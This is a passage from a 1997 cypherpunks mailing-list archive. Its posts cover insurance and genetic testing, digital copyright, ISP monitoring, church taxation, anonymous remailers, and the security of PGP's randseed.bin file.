taken the test for this disease, I have to accept a certain
risk--if I find out I have the disease, I have to raise a
million dollars in the next few months.  After I have taken
the test and gotten back the results, there's no more risk
involved (assuming the test is perfect)--I either have the
disease or I don't.  After the test, insurance isn't useful
(unless I defraud my insurer).  Before the test, though,
insurance might be useful--I could essentially place a bet
with someone that I had the disease--I pay $1, and get a
million dollars back if my test comes back positive--just
enough to pay for my treatment.

>The alternative is not pretty: banning private testing
>(how?) and forcing insurance companies to cover all
>applicants for all conditions at a fixed rate.

I know.  Let me make it clear that I am not at all
interested in banning private testing, coercing insurance
companies or anyone else into agreements they don't want to
make, etc.  I am saying it would be nice if I could buy
insurance against the results of the tests before I took
them.  The problem is, I can't see a really workable way to
do this, because there's no way to keep people from taking
the test beforehand.

>--Tim May

   --John Kelsey, Counterpane Systems, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36

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   --John Kelsey, Counterpane Systems, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Kelsey" <kelsey@plnet.net>
Date: Thu, 6 Nov 1997 07:02:36 +0800
To: "Perry's Crypto List" <cypherpunks@Algebra.COM>
Subject: Re: Copyright commerce and the street musician protocol
Message-ID: <199711052249.QAA06303@email.plnet.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

[ To: cypherpunks, Perry's Crypto List ## Date: 11/03/97 ##
  Subject: Re: Copyright commerce and the street musician protocol ]

>Subject: Re: Copyright commerce and the street musician protocol
>From: Marc Horowitz <marc@cygnus.com>
>Date: 03 Nov 1997 16:03:34 -0500

>Someone recently told me that game manufacturers have
>stopped worrying about piracy.  Why?  Because most new games
>come on CD-ROM, and copying a CD-ROM is an expensive,
>time-consuming operation.  Bulk duplication of CD's is
>substantially cheaper than one-off duplication, and since
>games are cheap, people will usually buy them rather than
>copy them.

This is a nice situation for CD-ROM-based video games.
However, it's probably a temporary situation.  Currently,
downloading a novel, even over modem lines, isn't all that
time-consuming.  If available bandwidth and storage capacity
keeps getting cheaper, the same will soon be true for
digital audio, and later, for digital video.  The number of
bits required to hold a twenty-minute piece of music at CD
quality isn't going to increase over time.

>While the cost of one-off CD duplication will certainly
>drop, I see no reason that media will not change form in the
>future.  As long as it's cheaper or more convenient to buy
>digital media from the publisher than to copy it yourself,
>the piracy problem basically doesn't exist.

Separate the medium from the information.  For computer
programs, it's possible to just keep bloating the data to
keep piracy from paying.  (To some extent, anyway.)  For
novels, music, and video, that's not going to work. The unit
of music I'm interested in listening to will probably not
change much.

>This is exactly
>what makes copyright work for books: I can duplicate a book,
>but it will cost more than buying it legitimately.  (There
>is still the problem of systematic large-scale piracy, but
>this is relatively easy to notice and prosecute under
>existing law.)

But once someone has scanned in the text from the book, it
costs approximately nothing to make another copy.  This
works as well for digitized music, video, and images.  Once
the data is available somewhere in digital form, it's almost
free to copy.  In a world with jurisdiction-shopping,
eternity servers, high-quality anonymous e-mail, anonymous
payment mechanisms, and cheap, high-bandwidth connections,
that digital data has to get onto the net *once*, and it is
free forever to anyon who will take the trouble to find it.

For books, one reason this doesn't happen more often now is
that the display technology for most computers is not nearly
as easy to read as even cheaply-printed paperbacks.  This is
sure to change with time.  Widespread use of DVDs will get
rid of the advantages of CDs and cassettes for listening to
music.

>Short works (newspapers, magazines, journals, etc.) will
>need a different mechanism, such as advertising, but that
>infrastructure is creating itself today.

It's essentially the same problem for text works.  A text
work you can't fit on one CD with compression is unlikely to
be something you can get many people to read all the way
through.  (The exception is reference material, where you
want *everything* of interest to be there, even though you
will surely read only a tiny fraction of the material.)

The real distinction here is timeliness.  If some
information is only valuable when it's timely, then it's
probably going to make sense to get the information from its
source, even if it costs money or you have to look at some
ads.  If the information is valuable weeks later, then it
may be hard to charge much money for access to it.

>		Marc

   --John Kelsey, Counterpane Systems, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36

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   --John Kelsey, Counterpane Systems, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Kelsey" <kelsey@plnet.net>
Date: Thu, 6 Nov 1997 07:03:09 +0800
To: "cypherpunks" <cypherpunks@Algebra.COM>
Subject: Re: Protocols for Insurance to Maintain Privacy
Message-ID: <199711052249.QAA06307@email.plnet.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

[ To: cypherpunks ## Date: 11/05/97 ##
  Subject: Re: Protocols for Insurance to Maintain Privacy ]

>Date: Fri, 31 Oct 1997 23:05:16 -0700
>From: Tim May <tcmay@got.net>
>Subject: Re: Protocols for Insurance to Maintain Privacy

>What an insurance card is really a *line of credit*. Or a
>*proof of payment*. The admitting hospital knows they'll at
>least be reimbursed for the initial visit and emergency
>treatment.

>Perhaps there's a business idea for some enterprising
>Cypherpunk. A prepaid hospital card, good for a few days'
>worth of treatment (e.g., $5000), but only at the better
>rates. This could even be done with Chaumian
>privacy-protecting methods. There's an idea.

This seems straightforward enough in principle.  It's just
like a prepaid credit card, or even a normal credit card,
right?  I mean, what it says on the card is probably
different, but the financial arrangements are pretty-much
the same.  I suspect it would be easier to implement this
(at least in the US) as an extra function on a credit card,
rather than as a new kind of insurance, since there are so
many odd insurance regulations out there.  Currently, lots
of credit cards offer special benefits like automatic
insurance on rental cars--this seems like a close variation
on the same idea.

>--Tim May


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   --John Kelsey, Counterpane Systems, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 6 Nov 1997 03:24:50 +0800
To: pyrofanatic@hotmail.com
Subject: Re: Sympatico Petition
In-Reply-To: <19971105023946.22696.qmail@hotmail.com>
Message-ID: <3460C3E2.5395@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



john smith wrote:
> 
> Please tell me everything Sympatico has done to make you think they
> moniter your email. Everything please and i can make something of it.

  When I first saw your email re: Sympatico petition, I assumed
that Sympatico would be monitoring activity surrounding the
petition. I visted your web site on Oct 28 and surfed around.
When I got to the petition-signing page, I decided not to sign,
in order to see if those merely visiting the page were being 
monitored.

I pretty much forgot about it until I got an email from Sympatico Admin
which dealt with what appeared to be bogus concerns, and containing
vague threats of loss of access.
I checked out the headers on my past incoming and outgoing email
and found changes in the way it was routed and dealt with--changes
which started shortly after I visited your website. I confirmed
the results of my traffic analysis on my own account by checking
them against those of another Sympatico account whose records 
I have access to, and which is used as a 'control' because it is 
used only for very normal and boring communications by a very regular
jane/joe.
(The changes started late on Oct 28th, and I got the threat from
 Sympatico on Nov. 4th.)

As well, my follow up communications with Sympatico Admin resulted in
replies which contained further evidence that the claims they were
making in regard for the reasons for their actions were askew.

Sympatico is little more than a company that acts as a front for
the Canadian Telecos, so that they can continue to operate what are
basically monopolies, without appearing to do so.
SaskTel charged outrageous connect charges of ~$5.00 an hour out
in the boonies, as long as they could. When it became apparent that
they couldn't get away with it for much longer, Sympatico appeared
on the scene, as SaskTel's 'competition'.
The two entered into a sweetheart deal which effectively allows
Sympatico and SaskTel to operate a dual monopoly, by making it
difficult for small operators in the boonies to get a cut of the
action.

You may have noticed that 'Sympatico Admin' is pretty much synonymous
with the SaskNet Admin. Their bum-buddy relationship is covered by
only a thin veil of pretension.
SaskTel still manages to maintain a semi-monopoly in the big cities,
but their real power comes in the boondocks, where the Sympatico
deal allowing no toll-charges effectively cuts out the smaller
providers who can only offer services to a handful of in-area
customers.

The bottom line is that there are advantages to the basic infrastrucure
of the system being developed by a single entity, such as SaskTel, but
if that entity is allowed to pick and choose who receives preferred 
treatment, then they tend to do so in their own interests, and not in
the interests of the end users.
SaskTel charged $5.00/hr connect time in the boonies until there were
enough complaints that they made a deal with Sympatico to control the
market at slightly less monopolistic rates. People tend not to figure
out that the change from $5.00/hr to around $1.50/hr, practically
overnight, merely reflects that SaskTel charged over twice what was
reasonable, for as long as they could get away with it.

I checked the numbers, in regard to bandwidth costs, etc., to hook up
and provide an InterNet service, and found that the types of rates
you quote on your website are not out of line, but are not possible
if one cannot get the type of deal Sympatico gets.
  e.g. - I charge you $20/month for total access, but you pay $6.00/hr
        to SaskTel for long-distance charges, to connect.

SaskTel/Sympatico will continue to maintain a monopoly whose prices
will reflect how much they can charge before complaints force them
to move toward more truly competitive rates.
I applaud your efforts to make some noise in this regard, and hope
that they have the effect of forcing SaskTel/Sympatico to maintain
their monopoly at more reasonable rates than at present.

I am somewhat notorious in certain areas of the underground computer
movement, having been involved in the dissemination of a number of 
subversive on-line manuscripts, so I often get hackers and phreaks 
sending me confidential information from my ISP's.
I found it rather humorous that the original email from the Sympatico
Admin:
> Please note: this note is being sent to our security dept. as we
> deem this type of activity to be mis-use of the mail system and
> as such you could loose your access privileges.
...contained an 'additional' note from a hacker named the Evil-1,
who added:
> [And I'll make sure you get a copy! (;>} ~~ Evil-1]

Toto
~~~~
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"InfoWar"
http://bureau42.base.org/public/infowar3
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Reusch <reusch@home.com>
Date: Thu, 6 Nov 1997 02:24:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Sen. Judd Gregg speaks on cyberporn
In-Reply-To: <v03007804b0853170bbd3@[204.254.22.175]>
Message-ID: <3.0.3.32.19971105131608.007f8100@mail.ewndsr1.nj.home.com>
MIME-Version: 1.0
Content-Type: text/plain



>"In a recent study, the Carnegie Mellon Institute found 917,410 sexually
>explicit pictures, short stories, and film clips online within an 18-month
>period."
>
>-Declan

That's less than 1/10 porns per second! You would think that the
Carnegie Mellon Institute could afford a faster link.

-I am not myself today





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jvb@n-o-s-p-a-m.ssds.com>
Date: Thu, 6 Nov 1997 05:41:45 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Taxing Churches for their views? Bad idea. (fwd)
In-Reply-To: <199711052039.VAA07597@basement.replay.com>
Message-ID: <Pine.LNX.3.95.971105135552.18286Z-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 5 Nov 1997, Anonymous wrote:


--- respond to jim.burnes@n-o-s-p-a-m.ssds.com --- (you know the drill)

> Brandon Crosby wrote:
> > Should churches be tax exempt? Without their long history of helping people,
> > I doubt they would have any benifits. However, even if their privillige was
> > removed, they would simply be able to donate less money to community causes.
> 
>   Churches, like governments, corporations, or any other organized 
> entity, have some wonderful people in them, doing wonderful things.
> The problem, as always, is what our founding fathers realized--these
> types of organizations/structures tend to grow and attain power which
> is then used for the purpose of self-sustained growth (survival).
>   Humanity tends to evolve, while organized humanity tends to de-volve.
> Biped humans, walking upright, form organizations which move toward
> becoming quadrapeds dragging large clubs.
> 

Ha!  This is pretty interesting.  Rather than the typical cypherpunk
approach of eliminating such inefficient and corrupting methods as
income taxation and tax exemption we are playing by their game.

The whole of HG Wells warning to society was that by systematically
altering the language, you alter the things that can be discussed.

The phrase "Tax exemption" is the newspeak form of "favored religious
group that isn't currently being financially punished for speaking
out against their masters".  The unspoken assumption in the
exempt/not-exempt argument is that you want federal income
taxation for anyone.  It also assumes there are "favored" groups vs.
"unfavored"  groups by the federal government.  Of course this all flies
directly in the face of limited constitutional government. 

So rather than bitch and moan about how the Churches are exempt, why
not rejoice in the fact that at least the churches are free from
taxation.  We are part of the way there.

Or start your own church.  ;-)

Jim

jim.burnes@n-o-s-p-a-m.ssds.com
(de-spamify if you wish to respond)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Colin A. Reed" <aleph@cco.caltech.edu>
Date: Thu, 6 Nov 1997 08:08:56 +0800
To: Jodi Hoffman <cypherpunks@toad.com
Subject: Re: Why Jodi Hoffman.....makes more sense than you think.
In-Reply-To: <34608163.7EB8@ibm.net>
Message-ID: <3.0.3.32.19971105154710.00ce3410@pop-server.caltech.edu>
MIME-Version: 1.0
Content-Type: text/plain



At 09:23 AM 11/5/97 -0500, Jodi Hoffman wrote:
>From: Lizard <lizard@mrlizard.com>:
>>
>>So, allying yourself with people who would gladly force *your* childen to
pray to *their* God doesn't bother you in the least. Fascinating.
>===========
>Interesting that you should mention this.  I, like many other Jews, have 
>finally noticed something about Christians....
>Seems they're actually _more_ Jewish than Jews.  At least they
>(Christians) try to follow the Ten Commandments, which is a hell of a
>lot more than I can say for most every Jew I've ever known.  Most
>Jews, other than Orthodox, self-identify as atheists and don't even know
>how to conduct a Passover service!  Unless you're Orthodox, being Jewish
>is a joke.  IMHO, claiming to be a Reform or Conservative Jew is the
>same as being "kind of" pregnant.
>
>(bracing for fresh onslaught of anti-Semetic spears to be chucked)
	Does that mean you expect others to say anti-semitic stuff or claim that
you are being anti-semitic.  I would go with the latter.  Are you orthodox?
 If not, what right do you have to bash conservative or reform jews?  If
you are, please tell your friends in Israel that those of us with families
who survived the death camps do not look kindly on their reinvention of
fascism.  It is all well and good to love the group you come from, but
especially if you are jewish, pay attention to history.  Have we not been
persecuted throughout history, how dare we, now that we have some measure
of power, go on to persecue others?  Think before you write please.
	On your other point, christians routinely break the _important_
commandments.  (the first two)  Go to any church and you will see no end to
the idols they set up to their various saints, gods, etc.  And they pray to
whatever saint they want, or mary, or jesus (a mere messenger, even if the
son of god, he ain't god) or whoever they feel like.  Whatever happenned to
'Thou shalt have no gods before me!'  


                             -Colin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>Jeffrey Gold <0002595870@MCIMAIL.COM>
Date: Thu, 6 Nov 1997 06:19:50 +0800
To: cypherpunks@toad.com
Subject: [Fwd: Horsemen]Horsemen
Message-ID: <3460EBD9.7527@dev.null>
MIME-Version: 1.0
Content-Type: message/rfc822



In his posting "WILL 'HATE SPEECH' BECOME 5th HORSEMAN OF THE APOCALYPSE?"
Paul Kneisel <tallpaul@nyct.net> says some interesting things about 
anonymous remailers.  Here are some excerpts, the whole post is about
47K, and may be found at http://venus.soci.niu.edu/~cudigest/CUDS9/cud980
within the next few days, but not right now.
_________________________________________________________________________

(snip)
You haven't heard much from the Four Horsemen of the Apocalypse recently.
The dreaded "hackers, terrorists, drug dealers and kiddie pornographers" 
of cyberspace who once caused Presidents and Prime Ministers to tremble 
and mothers to herd their children into their beds at sundown have been
strangely quiet, if only measured by the absence of significant media
reports to the contrary. Perhaps in these modern times the wages of sin 
are no longer death but just a really tired feeling, as comedienne Paula
Poundstone comments.

Yet the Four Horsemen once caused millions people off-the-net to call for
all manner of controls on the Global Information Superhighway.
(snip)

The issue of quality encryption and anonymous remailers has also 
run into difficulties as a mass motivator for additional government 
control of cyberspace.

When export controls on PGP were in place, the labyrinthine procedures
necessary to get a copy were likely beyond the capability of most new
users. Learning to use it was even more daunting, although considerably
assisted by new books like those from O'Reilly and Associates.[10]

Anonymous remailer systems introduce yet another level of complexity. By
the end of the process, Steve Harris, the author of the "John Doe"
front-end software for PGP and remailers, once estimated that only 500
people in the world were sophisticated enough to use the whole system.[11]
This represents quite a comedown for a society reared on the dreaded "Red
Menace" from the former Soviet Union or the hysteria of a millennia-old
Satanic conspiracy sacrificing 50,000 children a year just in the U.S.

The mere existence of highly secure encryption systems that potential
criminals *might* use does not in itself create a global problem. Andy
Oram, an editor at O'Reilly & Associates and the moderator of the
discussion list for Computer Professionals for Social Responsibility,
points out that commercial needs can severely limit the use of technology
of anonymity. "Repressive forces have constantly argued that they need to
control encryption and anonymous remailers in order to attack pornography.
But the vast majority of distributors of pornography can't hide themselves,
because they want payment. They have to advertise their presence! They're
the last people to hide behind encryption and anonymity."

Nor are the remailer systems all that secure against actions using 
existing laws and technologies (whether overt or covert.)

<penit.fi> in Finland, the oldest of the systems, shut down after the 
owner received a subpoena to deliver the name of a user. The others, 
as standard computer systems, are as vulnerable to individual attack 
as any other individual system.

We saw a federal armored combat vehicle gradually demolish the 
fortified headquarters of the Branch Davidian compound in Waco, 
Texas. Is the notion of a cyber-siege so outlandish then, where 
government computer systems would launch simultaneous SYNC attacks 
against a rogue remailer system if the same government deemed it 
was actively being used by terrorists? The recent attack by forces 
supporting the anti-Basque policies of the Spanish government on 
the Institute For Global Communications (IGC) site indicates "no."

Of course the anonymous remailers themselves are not anonymous. The 
owners and administrators are subject to the same system of social 
defense (or political attack) as all other individuals in society. 
A simple court injunction would likely shut them down or result in 
the arrest on contempt charges of any administrator who disobeyed.
(snip)

A more Orwellian view was recently expressed by Alan McDonald, "a senior
executive with the FBI," who said "that 'extremist' positions on electronic
encryption are a threat to normal law enforcement and are elitist and
nondemocratic. Insisting that the United States had remained true to the
Constitution and to a system of ordered liberties, McDonald says: 'When
people don't know much about electronic surveillance, they are fearful of
it. But when they know Congress passed laws and the Supreme Court reviewed
them and that there are numerous constraints and procedures, then it makes
sense to them. It seems rational and balanced'."[14]
(snip)








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jvb@n-o-s-p-a-m.ssds.com>
Date: Thu, 6 Nov 1997 07:33:32 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Taxing Churches for their views? Bad idea. (fwd)
In-Reply-To: <199711052226.XAA21798@basement.replay.com>
Message-ID: <Pine.LNX.3.95.971105155515.18286d-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 5 Nov 1997, Anonymous wrote:

> Jim Burnes wrote:
> > On Wed, 5 Nov 1997, Anonymous wrote:
> > >   Churches, like governments, corporations, or any other organized
> > > entity, have some wonderful people in them, doing wonderful things.
> > > The problem, as always, is what our founding fathers realized--these
> > > types of organizations/structures tend to grow and attain power which
> > > is then used for the purpose of self-sustained growth (survival).
> > >   Humanity tends to evolve, while organized humanity tends to de-volve.
> > > Biped humans, walking upright, form organizations which move toward
> > > becoming quadrapeds dragging large clubs.
> 
> > Ha!  This is pretty interesting.  Rather than the typical cypherpunk
> > approach of eliminating such inefficient and corrupting methods as
> > income taxation and tax exemption we are playing by their game.
> 
>   Taxation and exemptions are, conceptually, no different than a
> tribal agreement that those who bring home the deer will share
> with those who guard the campsite, and that the shaman who keeps
> the evil spirits at bay has to do neither.
>   When one strips the semantics from various cypherpunks posts, 
> there is usually an underlying agreement that there should be
> no 'free rides' and no 'oppressive burdens.' <-- generality>
>

Thank someones god/shaman/whatever that we don't live in a tribal
society.  The whole reason money was invented was so that we could
"buy" the services we needed.  The invention of the firearm was so
that anyone could protect the campsite.

Whenever tribes go beyond a few hundred/thousand members barter
becomes hopelessly inefficient and pretty shells/rocks/silver/gold
becomes the next best thing.  This becomes a civilization.  Hopefully
its a limited constitutional representative democracy.  Thats democracy
in the old sense of republic, not in the new sense which is newspeak for
"socialism".

Unfortunately the essense of money is not a subject that is taught
in grade schools, high schools or university economics courses for
that matter.  Prices are information that indicate demand/supply
and money is the packetized communication medium of free association.
Anyone know of any monetary theories based on communication theory?

Does income-side taxation then constitute a limitation on free
association?  Does it limit the people who you could cooperate
with to build a car?  Negotiate a deal?  Rent a hall so that you could
discuss politics?

Isnt that a breech of the 1st amendment?  Freedom of assembly?

Is income taxation an a-priori limitation on free speech and association?

Wow.  I've got to either lay off the caffiene or (tm) that theory.

>  
> > rather than bitch and moan about how the Churches are exempt, why
> > not rejoice in the fact that at least the churches are free from
> > taxation.  We are part of the way there.
> 
>   Revolutionary idea! Instead of calling for Churches to be subject
> to the same oppressive taxation as the rest of us, call for the rest
> of us to be given the same exemptions as Churches.
>   I vote Jim Burnes the honorary title of 'CypherPunks Chief Taxation
> Spokesperson' (Norman Vincent Peale Chapter).
> 
> > Or start your own church.  ;-)
> 
>   I agree.
> 

Disclaimer:

All of the above discussion has been strictly theoretical.  Any
imputed relation to Jim Burnes' theories and ideas are strictly
coincidental.

Even if this were really coming from Jim Burnes, I'm sure he would
not want to be the Chief Taxation Spokesman^h^h^hperson.

Jim Burnes

---
FWIP: Fun With Internet Pseudonyms
FWIF: Fun With Internet Forgery







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jvb@n-o-s-p-a-m.ssds.com>
Date: Thu, 6 Nov 1997 08:45:44 +0800
To: "Colin A. Reed" <aleph@cco.caltech.edu>
Subject: Re: Why Jodi Hoffman.....makes more sense than you think.
In-Reply-To: <3.0.3.32.19971105154710.00ce3410@pop-server.caltech.edu>
Message-ID: <Pine.LNX.3.95.971105170326.18286f-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 5 Nov 1997, Colin A. Reed wrote:
> At 09:23 AM 11/5/97 -0500, Jodi Hoffman wrote:
> >Interesting that you should mention this.  I, like many other Jews, have 
> >finally noticed something about Christians....
> >Seems they're actually _more_ Jewish than Jews.  At least they
> >(Christians) try to follow the Ten Commandments, which is a hell of a
> >lot more than I can say for most every Jew I've ever known.  Most
> >Jews, other than Orthodox, self-identify as atheists and don't even know
> >how to conduct a Passover service!  Unless you're Orthodox, being Jewish
> >is a joke.  IMHO, claiming to be a Reform or Conservative Jew is the
> >same as being "kind of" pregnant.
> >
> >(bracing for fresh onslaught of anti-Semetic spears to be chucked)
> 	Does that mean you expect others to say anti-semitic stuff or claim that
> you are being anti-semitic.  I would go with the latter.  Are you orthodox?
>  If not, what right do you have to bash conservative or reform jews?  If
> you are, please tell your friends in Israel that those of us with families
> who survived the death camps do not look kindly on their reinvention of
> fascism.  It is all well and good to love the group you come from, but
> especially if you are jewish, pay attention to history.  Have we not been
> persecuted throughout history, how dare we, now that we have some measure
> of power, go on to persecue others?  Think before you write please.
> 	On your other point, christians routinely break the _important_
> commandments.  (the first two)  Go to any church and you will see no end to
> the idols they set up to their various saints, gods, etc.  And they pray to
> whatever saint they want, or mary, or jesus (a mere messenger, even if the
> son of god, he ain't god) or whoever they feel like.  Whatever happenned to
> 'Thou shalt have no gods before me!'  
> 

Well, Colin.  The idols you spoke of are simply transmogrified versions
of Adonis and Demeter from Roman paganism.  (I assume youre referring to
the Roman Catholic Church).

Having been a Roman Catholic and for some twenty years been an ex-catholic
I've spent years research the apparent transition from a Roman Senate/
Emperor dominated world to a Roman PaganJudeoChristian dominated world.
(at least until the reformation took hold).

Then England dominated the seas which was just an extension of the
Roman power center.

To some degree that is why the founding fathers were so adamant about
separation of church and state.  The last thing they wanted was another
theocracy to graft itself onto their new creation.

Of course, given the vagaries of entropy, the state eventually became
their religion.

Be careful what you wish for.  You may get it.

jim burnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 6 Nov 1997 09:22:40 +0800
To: Steve Schear <cypherpunks@Algebra.COM>
Subject: Re: Copyright commerce and the street musician protocol
In-Reply-To: <199711021807.MAA30019@email.plnet.net>
Message-ID: <v03110731b086a0585c13@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:13 pm -0500 on 11/2/97, Steve Schear wrote:


> The first somewhat serious treatment of this I saw was Hughes's DEFCON IV
> presentation entitled, I believe, "Universal Piracy System."

I'm curious about this...

Did DEFCON IV happen before, or after, the rump session of FC97 (February
26? 1997), when Jason Cronk talked about recursive auctions on geodesic
networks? Actually, now that I think about it, Ian Grigg did a talk about
the sell-side inverse of the same idea in the same session...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jvb@n-o-s-p-a-m.ssds.com>
Date: Thu, 6 Nov 1997 08:44:14 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Taxing Churches for their views? Bad idea. (fwd)
In-Reply-To: <199711052226.XAA21798@basement.replay.com>
Message-ID: <Pine.LNX.3.95.971105171619.18286g-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 5 Nov 1997, Anonymous wrote:

> Jim Burnes wrote:
> > The whole of HG Wells warning to society was that by systematically
> > altering the language, you alter the things that can be discussed.
> 

Woops.  I'm mixing up my ontological icons.  Obviously I meant to
say "George Orwell".  Probably confused the two because they both
started out being semi-socialists.  HG Wells being a member of
the Rhodes Roundtable thought it would promote social justice.
Later he came to the conclusion that they just wanted to control
the world like any power-mad group that knows whats best for us.

Orwell fought in the Spanish civil war for the socialists and
against the fascists.  

Later, he worked as a propagandist for the British ministry of truth
during WWII -- eventually seeing his folly and writing 1984.

----

this moment in history brought to you by:

The Hitler^h^h^h^hstory Channel
All Hitler^h^h^h^hstory, All the Time

we now bring you back to your regularly scheduled spam.

jvb





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jvb@n-o-s-p-a-m.ssds.com>
Date: Thu, 6 Nov 1997 08:44:25 +0800
To: cypherpunks@toad.com
Subject: Crypto in Videoconferencing?
Message-ID: <Pine.LNX.3.95.971105172700.18286h-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



anyone:

is anyone aware of a videoconferencing system that supports
strong crypto -- or any type of crypto for that matter?

jim burnes


-----
Jim Burnes
Security Software Engineer, SSDS Inc.
Denver, CO
Remove the n-o-s-p-a-m. from my email to respond
-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jmayorga@netscape.com (John Mayorga)
Date: Thu, 6 Nov 1997 09:53:17 +0800
To: cypherpunks@toad.com
Subject: Re: Is mixmaster dead?
In-Reply-To: <Pine.LNX.3.96.971030072414.7999D-100000@bureau42.ml.org>
Message-ID: <34611D52.922EC6CE@netscape.com>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3986.1071713748.multipart/signed"

--Boundary..3986.1071713748.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Funny, I get a:

File Not found

The requested URL was not found on this server.

This server is under construction. Please go to http://www.thur.de and look
there for your link or send a mail to www@thur.de.


John E. Mayorga


David E. Smith wrote:

> On 29 Oct 1997, Russell Nelson wrote:
>
> > Lance hasn't updated his mixmaster page in over a year.  Is mixmaster
> > dead?
>
> On the contrary. http://www.thur.de/ulf/mix has the latest Mixmaster stuff.
>
> dave
>
> --
>
> Today's pseudorandom quote:
> I'm on crack!  (http://www.rc5.cyberian.org/ for info.)
>
> David E. Smith, P O Box 324, Cape Girardeau MO USA 63702
> Keywords: SciFi bureau42 Wicca Pez Linux PGP single! ;-)




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tel;work:       4556
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htBakh0+voyaghavLu6OCswdnQD8V4LNiSTUWwnpLJnxd32OTPc=
--Boundary..3986.1071713748.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 6 Nov 1997 03:06:27 +0800
To: frantz@netcom.com
Subject: entropy theft (Re: Privacy Software)
In-Reply-To: <v03110716b0865fb9b2a0@[207.94.249.121]>
Message-ID: <199711051828.SAA09379@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Bill Frantz <frantz@netcom.com> writes:
> 
> At 2:32 PM -0800 11/4/97, Adam Back wrote:
> >What's wrong with the randseed.bin and the public and private key
> >rings is that they should all be encrypted with a key derived from
> >your passphrase.
> 
> Think about it for a minute.  randseed.bin is a place to store entropy.
> Entropy is about uncertainty.  If I do a reversible transform (e.g.
> encrypt) to randseed.bin, I still recover the entropy without reversing
> (e.g. decrypting) the transform.

You might get some entropy from it -- but you won't get my PRNG state!
An attacker is welcome to the entropy, but may find it cheaper to
generate his own entropy than to copy some of mine.

There are certain attacks which become possible when an attacker can
snarf a copy of your randseed.bin, eg. the attacker can predict
session keys if he can guess your plaintext, and you are using an
environment which does not allow pgp2.x to sample your keystrokes (eg
integrated mail scripts).

randseed.bin is more sensitive than people treat it.  pgp2.x encrypts
private keys because people could use them to decrypt traffic, but it
does not encrypt the randseed.bin which could in some circumstances
also allow traffic to be decrypted.

An ergonomic disadvantage of encrypting randseed.bin is that you would
need to enter the passphrase to decrypt it before being able to
encrypt messages.  (You could make that optional -- and just use it in
encrypted form when you couldn't be bothered entropy shows through :-)

Encrypted public and private key rings is a separate good, and this
because it obscures who you are talking to and what your nyms are.
premail does this for you.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 6 Nov 1997 02:45:30 +0800
To: cypherpunks@toad.com
Subject: Cypherpunks Web
Message-ID: <199711051825.TAA23083@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Cypherpunks International (CYPHERPUNKS5-DOM)
   23 Net St. Ste 31337
   New York, NY 10001

